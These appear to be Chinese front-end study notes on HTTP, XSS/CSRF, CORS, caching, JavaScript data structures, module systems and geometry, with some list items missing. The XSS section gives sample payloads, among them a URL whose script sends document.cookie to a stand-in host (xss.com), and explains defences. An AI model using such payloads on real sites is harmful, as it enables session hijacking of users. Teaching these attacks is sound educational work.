默认情况下, HTTP 请求是按顺序发出的,只有在当前请求收到响应后,才会发出下一个请求。
HTTP 管线化 (HTTP Pipelining)是在同一个长连接中发出连续的请求,不用等待响应。
HTTP 管线化同时依赖于客户端和服务器的支持。遵守 HTTP/1.1 的服务器支持管线化。这并不是意味着服务器需要提供管线化的回复,而只是要求在收到管线化的请求时候不会失败。
跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。
该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
例如,在某网站 URL 上有 keyword
参数,表示搜索的关键字,例如:
http://www.example.com/search?keyword=xxx
表示 xxx
作为关键字搜索,打开后会将这串字符显示在页面某个位置上。
如果没有做防护,那么我们就可以在 keyword
后面插入一些恶意代码,如:
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
接下来引导用户去点击这个链接,用户打开后,就会执行 <script>document.location='http://xss.com/get?cookie='+document.cookie</script>
,把自己本地的 cookie 发送到 http://xss.com/
上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。
与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。
例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:
好文,i了
<script>
// 这里做一些攻击操作
alert('XSS')
</script>
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。
这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。
例如,有个让用户输入链接的场景:
<input id="input">
<button id="button">Submit</button>
<div id="div"></div>
<script>
document.getElementById('button').addEventListener('click', () => {
document.getElementById('div').innerHTML = `<a href=${document.getElementById('input').value}>Link</a>`
})
</script>
当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。
如果用户输入的是:
'' onclick=alert(/XSS/)
这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。
src
中写入 javascript:alert('xss')
(IE6、7)$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
,decode 后是 <script> alert("xss")</script>
浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie
不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。
在一些框架中,会自带标签转义。
服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS
跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。
优点:简单,对请求统一拦截检查 Referer 值即可。
缺点:
验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。
在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。
优点: 比 Referer 检查安全,不涉及用户隐私
缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全
函数式编程中的概念,一个函数经过柯里化处理后,可以接受任意数量的参数,如果参数数量不足,则会返回一个新的函数,这个新的函数也是一个柯里化的函数,可以接收剩余的参数;如果参数数量足够,则执行原来的函数。
const add = curry((a, b) => a + b)
add(1)(2) // 3
add(1) // function
const curry = (fn, array = []) => {
const len = fn.length - array.length
return (...args) => {
if (args.length < len) {
return curry(fn, array.concat(args))
} else {
return fn.apply(this, array.concat(args))
}
}
}
当我们在 JavaScript 中声明一个原始值,例如
let myNumber = 123
JS 会做以下事情:
myNumber
123
存入分配的地址这时候,我们口头上会说 “myNumber 等于 123” ,但实际上, myNumber
是指向了一个地址,而地址存的值是 123
。
当我们重新给 myNumber
赋值时:
myNumber = 456
原来的 123
并没有消失或改变,而是重新分配了一个地址,把 myNumber
指向新的地址,并把 456
存入新地址的值。
JavaScript 的内存模型可以理解为,存在两个区域: 调用栈
和 堆
其中, 调用栈
中存着原始值的值与函数; 堆
中存储引用类型的值。
那么引用类型的值是怎么存储的?
当我们声明一个数组:
const arr = []
发生了什么:
arr
调用栈
中分配一个地址,标识符指向这个地址堆
中分配一个地址,把地址存入步骤 2 中创建的地址对应的值中[]
存入 堆
中步骤 3 分配的地址的值中let
与 const
我们都知道, let
与 const
的区别是, let
允许开发者重新给变量赋值,而 const
反之。
实际上,这个行为限制的是能否修改标识符所指向的内存地址,例如:
const myNumber = 123
myNumber = 456 // TypeError: Assignment to constant variable.
const arr = []
arr.push(1)
arr[1] = 2
console.log(arr) // [1, 2]
arr = [3, 4] // TypeError: Assignment to constant variable.
在上述例子中可以看到,对于原始值标识符 myNumber
的重新赋值报错了,这是符合预期的。
但对于引用类型 arr
,可以修改值 []
而不报错,但整个数组重新赋值,一样会报错。
这是因为,当我们修改 []
的时候,我们修改的是 堆
里面的值,而 调用栈
中, arr
标识符指向的地址没有被修改,因此不会报错;当我们重新赋值 arr
时, 调用栈
里面会重新分配地址, arr
标识符指向的地址改变了,因此报错。
不重复值的集合, NaN 在 Set 中是相等的
[...new Set(array)]
// 或者
Array.from(new Set(array))
const a = new Set([1, 2, 3])
const b = new Set([4, 3, 2])
// 并集
const union = new Set([...a, ...b])
// 交集
const intersection = new Set([...a].filter((x) => b.has(x)))
// 差集
const difference = new Set([...a].filter((x) => !b.has(x)))
与 Set 类似, 是不重复值的集合,区别是:
WeakSet 没有 size 属性,不可遍历
键值对的集合,与对象的区别是,对象只能用字符串作为 key , Map 可以用各种类型的值作为 key 。
内存地址相同的引用类型才视为同一个 key
-0
, +0
视为相同 key
NaN 视为相同
构造函数可接受键值对数组或可遍历对象
const map = new Map([
['name', '张三'],
['title', 'Author']
])
const set = new Set([
['foo', 1],
['bar', 2]
])
const m1 = new Map(set)
遍历顺序为插入顺序
const map = new Map()
map.set(true, 1)
map.set({a: 1}, [666])
[...map]
// [ [ true, 1 ], [ {a: 1}, [666] ] ]
即把数组传入 Map 构造函数中,为上述例子的反例
如果 key 都是字符串,可遍历将 map 转为对象
遍历对象,将键值插入 map 中
如果 key 都是字符串,则先转对象,再 JSON.stringify
如果 key 里面有非字符串,则先转数组,再 JSON.stringify
第 5 点的逆操作
类似 Map ,弱引用,没有 size 属性,不可遍历
XMLHttpRequest(XHR)对象可以与服务器交互,可以从 URL 获取数据,而无需刷新整个页面。
function sendAjax() {
//构造表单数据
var formData = new FormData();
formData.append('username', 'johndoe');
formData.append('id', 123456);
//创建xhr对象
var xhr = new XMLHttpRequest();
//设置xhr请求的超时时间
xhr.timeout = 3000;
//设置响应返回的数据格式
xhr.responseType = "text";
//创建一个 post 请求,采用异步
xhr.open('POST', '/server', true);
//注册相关事件回调处理函数
xhr.onload = function(e) {
if(this.status == 200||this.status == 304){
alert(this.responseText);
}
};
xhr.ontimeout = function(e) { ... };
xhr.onerror = function(e) { ... };
xhr.upload.onprogress = function(e) { ... };
//发送数据
xhr.send(formData);
}
XMLHttpRequest.UNSENT === 0 // 代理被创建,但尚未调用 open() 方法。
XMLHttpRequest.OPENED=== 1 // open() 方法已经被调用。
XMLHttpRequest.HEADERS_RECEIVED=== 2 // send() 方法已经被调用,并且头部和状态已经可获得。
XMLHttpRequest.LOADING === 3 // 下载中; responseText 属性已经包含部分数据。
XMLHttpRequest.DONE === 4 // 下载操作已完成。
xhr.abort()
Fetch 提供了对 Request
和 Response
对象的通用定义,使之可以被应用到更多场景中,例如 Service Worker、Cache API 等。
// Example POST method implementation:
postData('http://example.com/answer', {answer: 42})
.then(data => console.log(data)) // JSON from `response.json()` call
.catch(error => console.error(error))
function postData(url, data) {
// Default options are marked with *
return fetch(url, {
body: JSON.stringify(data), // must match 'Content-Type' header
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, same-origin, *omit
headers: {
'user-agent': 'Mozilla/4.0 MDN Example',
'content-type': 'application/json'
},
method: 'POST', // *GET, POST, PUT, DELETE, etc.
mode: 'cors', // no-cors, cors, *same-origin
redirect: 'follow', // manual, *follow, error
referrer: 'no-referrer', // *client, no-referrer
})
.then(response => response.json()) // parses response to JSON
}
fetch 返回一个 Promise ,并 resolve 一个 Response 对象,只有在网络故障或主动中断请求时会 reject 。
ok
属性会为 false),只有在网络故障或主动中断请求时会 reject 。Set-Cookie
头部字段会被忽略。credentials
。通过 AbortSignal API
来中断 fetch 发起的请求。
var controller = new AbortController();
var signal = controller.signal;
var downloadBtn = document.querySelector('.download');
var abortBtn = document.querySelector('.abort');
downloadBtn.addEventListener('click', fetchVideo);
abortBtn.addEventListener('click', function() {
controller.abort();
console.log('Download aborted');
});
function fetchVideo() {
...
fetch(url, {signal}).then(function(response) {
...
}).catch(function(e) {
reports.textContent = 'Download error: ' + e.message;
})
}
axios 是一个开源的 http 库,基于 Promise ,可用于浏览器与 Node.js 端。
// Send a POST request
axios({
method: 'post',
url: '/user/12345',
data: {
firstName: 'Fred',
lastName: 'Flintstone'
}
}).then((response) => {});
使用 CancelToken.source
:
const CancelToken = axios.CancelToken;
const source = CancelToken.source();
axios.get('/user/12345', {
cancelToken: source.token
}).catch(function (thrown) {
if (axios.isCancel(thrown)) {
console.log('Request canceled', thrown.message);
} else {
// handle error
}
});
axios.post('/user/12345', {
name: 'new name'
}, {
cancelToken: source.token
})
// cancel the request (the message parameter is optional)
source.cancel('Operation canceled by the user.');
使用 CancelToken
构造函数:
const CancelToken = axios.CancelToken;
let cancel;
axios.get('/user/12345', {
cancelToken: new CancelToken(function executor(c) {
// An executor function receives a cancel function as a parameter
cancel = c;
})
});
// cancel the request
cancel();
$.ajax({
url: '/url',
type: 'POST',
data: {
form: 'data',
},
dataType: 'json',
}).done((response) => {
}).fail(() => {
}).always(() => {})
返回一个 jqXHR
对象
const jqXHR = $.ajax({
// settintgs...
})
jqXHR.abort()
给定一个二叉树,返回其节点值自底向上的层次遍历。 (即按从叶子节点所在层到根节点所在的层,逐层从左向右遍历)
例如:
给定二叉树 [3,9,20,null,null,15,7],
3
/ \
9 20
/ \
15 7
返回其自底向上的层次遍历为:
[
[15,7],
[9,20],
[3]
]
与 #5 类似
在 #5 的基础上稍作修改
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[][]}
*/
var levelOrderBottom = function(root) {
const result = []
if (!root) return result
const stack = [[root, 0]]
while (stack.length) {
const info = stack.pop()
const node = info[0]
const level = info[1]
if (node) {
if (result.length <= level) result.unshift([])
result[result.length - 1 - level].push(node.val)
stack.push([node.right, level + 1])
stack.push([node.left, level + 1])
}
}
return result
};
块格式化上下文(Block Formatting Context,BFC) 是Web页面的可视化CSS渲染的一部分,是块盒子的布局过程发生的区域,也是浮动元素与其他元素交互的区域。
满足以下条件之一即可:
BFC元素特性表现原则就是,内部子元素再怎么翻江倒海,翻云覆雨都不会影响外部的元素。
同一个 BFC 下的元素会产生外边距塌陷,只要元素属于不同的 BFC 就能防止塌陷:
<div>
<div style="width: 100px; height: 100px; border: 1px solid red; margin-bottom: 10px;"></div>
<div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;"></div>
</div>
把其中一个 div 放入新创建的 BFC 中:
<div>
<div style="overflow: hidden;">
<div style="width: 100px; height: 100px; border: 1px solid red; margin-bottom: 10px;"></div>
</div>
<div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;"></div>
</div>
根据 BFC 的特性, BFC 的高度是把内部浮动的元素也计算进去的,因此本来内部元素浮动导致高度塌陷的问题,就可以用创建 BFC 的方式解决:
<div style="border: 1px solid blue;">
<div style="width: 100px; height: 100px; border: 1px solid red; float: left;"></div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;">
</div>
让容器成为一个 BFC :
<div style="border: 1px solid blue; display: flow-root;">
<div style="width: 100px; height: 100px; border: 1px solid red; float: left;"></div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;">
</div>
<div style="overflow: hidden; border: 1px solid red;">
<div style="float: left; margin-right: 10px; width: 100px; height: 100px; border: 1px solid green;">
侧边栏
</div>
<div style="height: 100px; overflow: hidden; border: 1px solid blue;">
main
</div>
</div>
基于个人理解的过程,可能有疏漏或者错误的地方,欢迎指出
最后生成的 js 是怎么实现引用其他模块以及异步模块的,参照 #32
根据网上随处可查到的资料,HTTP 规范没有强制限制 POST 请求内容的大小,一般是由浏览器或者服务端去限制。
最近在写 NestJS 时,遇到了一个报错 request entity too large
显然,字面上看,就是请求的 body 太大,超过了 NestJS 的限制
我们使用的是默认的底层,也就是 express ,因此这个是由 express 那边限制的
从 express 官方文档 也可以看到,默认限制是 100kb
根据上述文档,我们只需要能修改那个 limit
配置即可
我们在 NestJS 项目的 main.ts 中加入以下代码:
app.use(express.json({ limit: '1mb' }))
这行代码可以成功运行,问题似乎也解决了。
但是这边有个隐藏的坑:
当我们使用 nest-cli 初始化项目后,可以看到在 package.json
中有 @types/express
这个包,但没有 express 本体。
由于 NestJS 底层默认使用 express ,因此 node_modules
里一般是会存在 express 包的。
因此我们用 import * as express from 'express'
引入使用 express 的功能,也是能正常运行的。
然而,在代码中使用 package.json
中没有声明的依赖,肯定是有风险的。
如果我们只使用 express 的 TypeScript 类型声明,那没问题,上述这个机制反而方便了开发。
但是我们使用了具体的功能,假设以后整个仓库换了 npm 包管理工具, node_modules
里面的依赖不再是扁平的,那代码就无法运行了。
因此,更保险的做法,我们可以只引入 express 底层用的 body-parser 库:
import * as bodyParser from 'body-parser'
app.use(bodyParser.json({ limit: '1mb' }))
当然,我们也可以直接在我们的依赖包里加上 express
其实最好的做法还是 NestJS 官方提供个配置供修改
为什么会有跨域?因为浏览器有个 同源策略
同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。
简单来说,同源策略限制了不同源之间资源的访问。假设你部署了一个应用 A ,别人在另一个域名上部署了应用 B ,那么,在同源策略的限制下,应用 B 就没法直接通过 ajax 请求应用 A 的东西。
如果两个页面的协议,端口(如果有指定)和主机都相同,则两个页面具有相同的源。
例如,对于 http://www.aaa.com
来说:
http://www.aaa.com/bbb // 同源,只有路径不同
https://www.aaa.com // 不同源,协议不同
http://mail.aaa.com // 不同源,域名不同
http://www.aaa.com:8080 // 不同源,端口不同
同源策略会限制以下情况的跨域访问:
XMLHttpRequest
或 fetch
发起的 HTTP 请求@font-face
使用跨域字体资源)drawImage
将 Images/video 画面绘制到 canvas跨域资源共享(Cross-Origin Resource Sharing)是一种机制,通过使用额外的 HTTP 头来确认是否可以进行跨域访问
当请求满足一定的条件时,不会触发 CORS 预检请求 (即在请求之前再发送一个 OPTIONS
请求),这类请求称为 “简单请求”
满足以下所有条件即可视为 “简单请求” :
GET
, POST
, HEAD
text/plain
, multipart/form-data
, application/x-www-form-urlencoded
三个值之一预检请求要求首先使用 OPTIONS
方法发起一个预检请求道服务器,以获知服务器是否允许该实际请求,可避免跨域请求对服务器的用户数据产生未知的影响。
当请求满足一下任一条件时,应先发送预检请求:
PUT
, DELETE
, CONNECT
, OPTIONS
, TRACE
, PATCH
中的任一方法语法:
Access-Control-Allow-Origin: <origin> | *
可以指定为通配符 *
表示允许所有来源的跨域访问
或者指定一个特定的域名
跨域访问时, XMLHttpRequest
对象的 getResponseHeader()
方法只能拿到一些最基本的响应头,如果需要拿到其他的响应头,需要在服务器端设置响应头的 Access-Control-Expose-Headers
字段,相当于一个白名单,如:
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
这样, getResponseHeader()
即可访问到 X-My-Custom-Header
, X-Another-Custom-Header
响应头了。
这个响应头表示 预检请求 的结果能被缓存多久
语法:
Access-Control-Max-Age: <delta-seconds>
delta-seconds
表示缓存的秒数
指定当浏览器的 credentials
设置为 true 时,在跨域请求时会带上 Cookies 进行身份验证。如果是简单请求,但没有带上 Access-Control-Allow-Credentials: true
,这时浏览器不会将相应的响应内容返回给请求的发起者,响应会被忽略;如果是 预检请求 ,带上 Access-Control-Allow-Credentials: true
则表示是否可以使用 credentials
用于 预检请求 ,指明实际请求所允许使用的 HTTP 方法
语法:
Access-Control-Allow-Methods: <method>[, <method>]*
用于 预检请求 ,指明实际请求中允许携带的头部字段
语法:
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
表明 预检请求 或 实际请求 的源站
用于 预检请求 ,表示将实际请求所使用的 HTTP 方法告诉服务器
语法:
Access-Control-Request-Method: <method>
用于 预检请求 ,表示将实际请求所携带的头部字段告诉服务器
语法:
Access-Control-Request-Headers: <field-name>[, <field-name>]*
利用 script
标签没有同源限制的特点
优点: 兼容性好,可跨域
缺点: 只支持 get 方法,可能会受到 XSS 攻击
window.jsonpCallback = (responseData) => {
// 处理跨域请求返回的数据
}
script
标签, src
为跨域 API 的地址,将第一步定义好的回调函数名附在地址上,例如 /cross-origin-api/getUser?callback=jsonpCallback
'jsonpCallback({ data: 666 })'
,将生成的字符串返回给浏览器// 也就是执行了:
window.jsonpCallback({ data: 666 })
postMessage 可以安全地实现跨域通信,一般用在以下场景:
语法如下:
otherWindow.postMessage(message, targetOrigin, [transfer])
在其他窗口中,只要在 window
下监听 message
事件,即可收到消息。
需要注意的是,收到消息时记得要判断一下消息是否来自期望的源,把非预期的源的消息都过滤掉,保证安全。
WebSocket 是一种双向的通信协议,可以跨域使用,在建立连接时使用的是 HTTP 协议,之后的通信就与 HTTP 无关了。
同源策略是对浏览器与服务端之间通信的限制,服务端之间并没有这个限制。
那么,只要在中间再搭一层 Nginx ,其服务与浏览器同源,与实际的业务服务端不同源,在浏览器对 Nginx 服务器发起请求时,将请求转发到实际的业务服务器,即可解决跨域问题。
为了尽快让用户看到渲染的页面,我们有哪些可以做的呢?
浏览器解析 HTML 过程中,遇到 link
标签跟外部 script
,会再发起网络请求,因此在网络方面,如果将 CSS 写成内联,即可减少请求次数,只需一次请求。这在大的项目不太现实,但在简单页面上还是可以应用的。
在 CSS 中使用 @import
也会再发起请求,因此, CSS 减少 @import
的使用也可以减少网络请求次数。
默认情况下, CSS 是阻塞渲染的,而渲染是需要 DOM
跟 CSSOM
结合构建渲染树才能进行,因此 CSS 需要尽快下载并解析,以便缩短首次渲染时间。
对于非首屏必须的 CSS 外部文件,可以使用 媒体查询
来使其不阻塞渲染,即 link 标签的 media
。注意,这里指的是不阻塞渲染,媒体查询的 CSS 最终还是会被下载的,相当于降低了其优先级。
还有一点优化就是写 CSS 选择器时的优化,这点网上应该都有,例如 div.test
不比 .test
快之类的。
浏览器遇到 script
标签,会阻塞渲染,停下来执行 JS ,因此将 script
放到 body
标签末尾。
对于非必须立刻执行的外部脚本,可以添加 async
防止阻塞。
这边复习一下 script
标签中 async
与 defer
的区别:
defer:
script
没关系,页面继续渲染,我慢慢下载DOMContentLoaded
事件之前,我就得执行了script
标签先执行,一个一个来async:
DOMContentLoaded
谁也不等谁,谁先好了执行谁在 JavaScript 操作 DOM 的方面,尽量减少对 DOM 的大量操作,对 DOM 节点的增删改查;且尽量减少会造成浏览器重排的操作,比如改变尺寸、位置、修改 display 等。
假设表中有一列数据是 json 类型,但可以为 null ,要判断 json 中的某个字段是否为空
以 { "a": null }
这个 json 结构为例
首先列出为空的定义:
$.a === null
$.a
路径不存在a
的类型决定,例如 $.a === []
或者 $.a === {}
或者 $.a === ""
SQL 语句:
# 字段值为 NULL 或者 $.a 不存在
# 注意,这里的 null 是 MySQL NULL ,而不是 json 类型中的 null ,因此用 is null 判断
select json_type(json_extract(NULL, '$.a')) is null;
select json_type(json_extract('{}', '$.a')) is null;
# $.a === null
select json_type(json_extract('{"a": null}', '$.a')) = 'NULL';
# 剩下的就是其他情况了
# `$.a === []` 或者 `$.a === {}`
select json_length(json_extract('{"a": []}', '$.a')) = 0;
# `$.a === ""`
select json_contains('{"a": ""}', '""', '$.a') = 1;
在查询时,以上 select
后的语句视情况选取合适的几条,直接加入到 where
条件中,用 and
连接。
网上有很多解释,这边只做个记录。
例如:
例如:
简化的描述:
维护两个队列,一个宏任务队列,一个微任务队列
在执行过程中遇到新增的宏任务或微任务,将其加入相应的队列中
虽然长连接可以减少 TCP 握手的次数,但是 HTTP 请求的发送是按顺序的,当前请求没有响应就不会发送下一个请求,这样就会导致队头阻塞,降低页面加载速度。
解决方案:
由于无状态的特性,每次发送的 HTTP 请求都要带上一个巨大的头部,即使请求体或者响应体的内容非常少。
HTTP/1.1 传输内容使用的是明文,会带来安全性隐患。
HTTP/2 基于 Google 开发的 SPDY 协议,目的是提高性能。
HTTP/2 采用二进制格式传输数据,相比于 HTTP/1.1 使用纯文本形式的报文,二进制协议解析更高效。 HTTP/2 将请求数据与响应数据分割为更小的帧,多个帧可以乱序发送,根据帧首部的流标识重新组装。
HTTP/2 实现多路复用,同一个域名可以只占用一个 TCP 连接,可以在一个 TCP 连接里传输所有的数据。
在 HTTP/1.1 中,服务端只能被动响应请求,请求由客户端发起。
在 HTTP/2 中,服务端可以主动推送资源到客户端,例如,在浏览器请求 HTML 文件时,把相应的脚本、 CSS 也推送到浏览器,而不必等待浏览器解析 HTML 的时候再发送。
客户端也可选择是否接收服务端的主动推送。
主动推送也遵守同源策略,服务端不能随便将第三方资源推送给客户端,而需要经过双方确认。
HTTP/2 实际上兼容 HTTP/1.1 的明文传输,不强制加密,但 HTTPS 是趋势,互联网上见到的 HTTP/2 都是使用的 HTTPS ,所以 HTTP/2 在事实上是加密的。
HTTP/2 也是基于 TCP 的,意味着无法避免 TCP 握手的过程。
另外,如果使用 HTTPS ,则还要加上 TLS 的握手过程。
虽然减少了 TCP 的连接数量,但是没有解决 TCP 队头阻塞的问题。
TCP 有丢包重传的机制,当出现丢包时,整个 TCP 连接都要等待重传,在这种情况下, HTTP/2 的延迟可能还高于有多个 TCP 连接的 HTTP/1.1 。
要避免 TCP 队头阻塞的问题,只能不用 TCP 。
Google 开发了基于 UDP 的 QUIC 协议
QUIC 协议特点:
在空间中有两条线段 P, Q ,由 4 个点组成,P1P2 ,Q1Q2 ,已知 4 个点的坐标,怎么判断两条线段是否相交?
只有同时通过这两个实验,这两条线段才是相交的。
已知点:
P1(x1, y1), P2(x2, y2), Q1(x3, y3), Q2(x4, y4)
这个实验主要是为了快速排除两条线段不相交的情况。
我们知道,一条线段两个点分别向水平和竖直方向扩展,可以得到一个矩形,那么,两条线段就可以得到两个矩形,如果这两个矩形是不相交的,那么这两条线段一定是不相交的。如果两个矩形相交呢?那我们还不能判断线段是否相交,需要再进行跨立实验才能确定,如下图:
快速排斥实验的公式就是判断两个矩形是否相交:
const passTest = (
// 判断 x 轴
Math.max(x1, x2) >= Math.min(x3, x4) &&
Math.max(x3, x4) >= Math.min(x1, x2) &&
// 判断 y 轴
Math.max(y1, y2) >= Math.min(y3, y4) &&
Math.max(y3, y4) >= Math.min(y1, y2)
)
公式得到一个布尔值,表示是否通过实验,如果不通过,则表示线段不相交,可以直接得出结论;如果通过,则表示线段可能相交,需要继续进一步判断。
到这一步可以用向量来解决。
首先需要定义什么是跨立,举个例子,我们把线段 P 延长,得到一条直线,当线段 Q 的两个端点,分别在直线的两侧时,则说明线段 Q 跨立于线段 P 。
由这个定义可以得到,当两条线段相互跨立时,它们是相交的。
那么如何判断 Q 是否跨立 P 呢?我们知道,向量的叉乘,结果是一个向量,方向是垂直于两个向量组成的平面的,结果的值可能大于 0 或者小于 0 (为 0 时两个向量平行),表示方向是向里或者向外,跟两个向量的相对位置有关,可以用右手判断。
我们可以取两个辅助向量, P1Q1, P1Q2 ,分别与向量 P1P2 做叉乘,如果 P1Q1 与 P1Q2 分别在 P1P2 的两侧,那么两个叉乘的结果一定是一个正数跟一个负数,也就是相乘小于 0 。根据这点,我们就可以知道 Q 跨立 P 的条件了:
Q 跨立 P = P1P2 x P1Q1 * P1P2 x P1Q2 < 0
如果想判断 Q 的一个端点在 P 上的情况,判定条件改成 <= 0 即可。
如下图:
这边有个可能产生疑问的点,就是为什么需要进行两次跨立实验呢?即要判断 Q 跨立 P ,也要判断 P 跨立 Q 呢?判断其中一个不够吗?
是的,只判断一个是不够的,比如下面这种情况:
Q 跨立 P ,但是两条线段明显不相交,因此要反过来再判断 P 是否也跨立 Q 。
因此,要判断两条线段是否相交,需要进行如下判断:
在我的流程图项目中,实际上要判断的是线段跟矩形是否相交,那要怎么做呢?
按照上面的思路,先进行快速排斥实验,我们只需要构建一个矩形,如果不通过,则不相交,这没问题,那通过了呢?表示相交吗?不是的,比如这种情况:
那么快速排斥实验就没有用了吗?不是的,它还是可以快速排除掉一些不相交的情况,虽然跟接下来的步骤结合起来确实有点鸡肋。
那接下来要怎么做呢?其实比较简单的方式是,把矩形的 4 条边都取出来,分别与线段判断是否相交即可。如果要再判断线段是否在矩形内,再加上判断两个端点是否在矩形内即可。
除了快速排斥实验,我们换一种思路,可以快速得出一些相交的情况,即判断线段是否有端点在矩形内,这个比快速排斥实验更简单。
总结一下,有几种方式可以判断线段与矩形是否相交
方式一:
方式二:
总之,最后都是转换为两条线段相交的问题,如果比较懒,直接跟 4 条边判断就行,就是比较耗费性能。
对比一下,跟 4 条边判断,最多需要进行 4 次快速排斥实验, 8 次跨立实验。
而先判断端点的话,最多要判断 2 次端点是否在矩形内,2 此快速排斥实验, 4 次跨立实验。
同步加载模块,遇到 require
语句再加载,因为在服务端磁盘读取速度快,使用这种阻塞式的加载没问题,但在浏览器端就不行。
// 导入,依赖就近风格
const a = require('a.js')
console.log(a)
// 导出
module.exports = {
// ...
}
define(['jquery'], function ($) {
// 此函数调用时, jquery 已经加载完成
})
AMD 是一种依赖前置风格的加载方式,所有用到的依赖在 define
这个全局函数中,以一个数组的形式传入,等到所有依赖加载完成,才会执行本模块的回调函数。
实现 AMD 规范的代表性的库是 requirejs
CMD 更接近 CommonJS 的风格,在 factory
函数中去 require
需要用到的依赖
define(function (require, exports, module) {
const $ = require('jquery') // 依赖就近,延迟执行
})
首先分析一遍代码 require 了哪些依赖,异步下载后,等到执行 factory ,遇到 require
语句时,才会去执行相应的依赖。
代表的库是 seajs
二者在下载依赖方面没什么不同,都是异步下载,但是执行依赖的时机不同
AMD 在执行 factory 函数之前会把依赖都执行,且不保证执行顺序。
CMD 在执行 factory 函数之前只是下载依赖,等到执行 factory 函数时才会执行对应依赖
define(['a', 'b'’], function (a, b) {
a()
if (false) {
// AMD 规范中,即使 b 模块最终不会用到,但也会被执行
b()
}
})
define(function (require, exports, module) {
const a = require('a')
a()
if (false) {
// CMD 中, b 模块虽然也会下载,但需要在代码执行到 require 的时候才会执行
const b = require('b')
b()
}
})
由此可以推断, CMD 规范要知道需要下载哪些模块,就要分析 factory 中的 require 语句,看了 seajs 里的代码,是把 factory 转为字符串去分析了:
// Parse dependencies according to the module factory code
if (!isArray(deps) && isFunction(factory)) {
deps = typeof parseDependencies === "undefined" ? [] : parseDependencies(factory.toString())
}
https://github.com/seajs/seajs/blob/master/src/module.js#L324
UMD 则是 CommonJS 与 AMD 的结合,一种使模块能跨浏览器与 Node.js 端使用的方案。
ES6 在语言标准的层面上实现了 JavaScript 的模块化
与 AMD 和 CommonJS 不同的是,其设计**是尽量静态化,在编译阶段就确定模块的依赖关系,而前两者只能在运行时确定依赖关系。
使用了 ES 模块的文件,默认是严格模式的。
另外, ES Module 导出的值是一种动态的引用,即模块内部对于值的修改,在引用它的模块中也会相应修改,无论是否原始值。而 CommonJS 引入的则是值的拷贝。
跟着这篇文章整理的
install
事件中缓存文件fetch
事件中拦截网络请求,判断是否命中缓存fetch
函数内存中的缓存。
<link rel="prefetch">
硬盘中的缓存。
关于哪些文件会缓存在内存、哪些在硬盘中:
浏览器根据请求资源时返回的响应头来判断资源是否该缓存;
根据请求头与响应头判断如何使用缓存。
不会发起请求,直接从缓存中读取资源,在 Devtool 中可以看到资源请求返回 200 状态码, Size 显示 from disk cache 或 from memory cache
通过设置 Expires
和 Cache-Control
两个 header 实现
指令:
Expires 与 Cache-Control 区别在于,前者是 HTTP/1.0 的产物,二者同时存在时, Cache-Control 优先级更高。在不支持 HTTP/1.1 的环境下则 Expires 有效。现阶段 Expires 只是一种兼容的写法。
强缓存是基于时间来判断是否使用缓存,而不关心服务端文件是否已经更新,这可能导致拿不到最新的文件。
在强缓存失效后,就会使用协商缓存;
协商缓存会发起请求,由服务器根据缓存标识决定是否使用缓存;
如果协商缓存有效,则响应 304 状态码, Not Modified 并且不会发送资源,否则会返回 200 状态码与请求资源结果。
协商缓存可以通过两对 headers 实现:
Last-Modified 记录文件在服务器上的最后修改时间,当浏览器请求这个文件时,会带上 Last-Modified 请求头。
当浏览器下次请求这个资源时,如果有 Last-Modified 请求头,则会添加 If-Modified-Since ,值为 Last-Modified 的值。
当服务器收到请求时,会将浏览器发送的 If-Modified-Since 值与请求资源的最后修改时间进行对比,如果没有变化,则返回 304 使用缓存;如果小于服务器中这个资源的最后修改时间,则表示文件有更新,返回新的资源和 200 。
缺陷:
ETag 是服务端返回的当前资源的唯一标识(服务端生成),只要资源有变化,则 ETag 会重新生成。
浏览器下次请求缓存文件时,会把上一次的 ETag 放入 If-None-Match 中,服务端接收到请求后,会对比 If-None-Match 与服务器上文件的 ETag ,来判断该资源是否有更新。
ETag 的优势在于精确度高于以秒为精度的 Last-Modified
其缺点则是服务端要计算 hash 要耗费性能
在优先级上,服务器优先考虑 ETag
没有一个绝对通用的缓存策略,只有根据不同的场景来使用不同的策略才能发挥缓存的作用。
